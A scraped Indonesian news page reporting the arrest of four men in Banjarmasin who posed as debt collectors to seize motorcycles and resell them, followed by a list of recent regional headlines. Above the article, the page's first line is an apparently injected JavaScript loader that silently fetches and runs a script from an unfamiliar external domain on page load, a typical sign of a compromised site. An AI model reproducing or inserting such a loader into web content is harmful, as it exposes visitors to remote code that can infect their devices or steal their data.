(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Komplotan Perampas Motor Ngaku Debt Collector Diringkus Satreskrim Polresta Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Empat lelaki di Kota Banjarmasin merampas dua sepeda motor warga dengan mengaku sebagai debt collector.

Komplotan itu dibekuk Satreskrim Polres Banjarmasin saat tertidur lelap di dua tempat persembunyian mereka di Kabupaten Barito Kuala dan Kabupaten Tanah Laut, Kalimantan Selatan.

Kasat Reskrim Polresta Banjarmasin Kompol Thomas Afrian mengatakan, saat beraksi komplotan lelaki berbadan kekar itu, menggunakan modus yang sama, yakni mengaku sebagai debt collector atau penagih utang kepada para korbannya.

Kemudian, setelah berhasil merampas sepeda motor korban, komplotan itu lantas menjualnya kembali ke pasar loak.

Baca juga: Ganggu Pasokan, Ancaman Sanksi Penjual Air Bersih Pakai Pompa di Banjarmasin

“Modusnya penagih utang mirip, dimana para pelaku mengaku sebagai debt collector untuk mengambil kendaraan roda dua dari para korban. Setelah itu kendaraan atau kendaraan roda dua ini oleh para pelaku dijual kembali ke loak,” kata Kompol Thomas, Sabtu (2/9/2023) malam.

Menurutnya, sejauh ini baru ada dua laporan polisi yang diterima oleh Polresta Banjarmasin.

Namun, Thomas tak menampik, ada dugaan komplotan itu telah beraksi cukup lama dengan jumlah korban lebih dari dua orang.

Untuk itu, Polres Banjarmasin terus mendalami kasus ini. Sedangkan empat pelaku telah ditetapkan sebagai tersangka dan ditahan.

Baca juga: Baksos IMBI Kalsel Bagikan Paket Sembako

“Sementara kalau untuk LP kan dua ini, LP-nya dua sampai saat ini. Masih kita dalami ada berapa sih sebetulnya pelaku ini pernah melakukan perbuatan serupa. Namun demikian, terkait dua LP tersebut sudah disidik. Para pelaku sudah ditetapkan tersangka dan sudah dilakukan penahanan,” paparnya.

Atas perbuatannya, keempat tersangka dijerat dengan pasal berlapis, yakni Pasal 365, Pasal 378 juncto Pasal 372 KUHP dengan ancaman hukuman di atas 5 tahun penjara. (Kanalkalimantan/Beritasatu.com/kk)

Editor : kk


Risa

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

44 menit ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

60 menit ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

2 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

6 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

6 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

7 jam ago

This website uses cookies.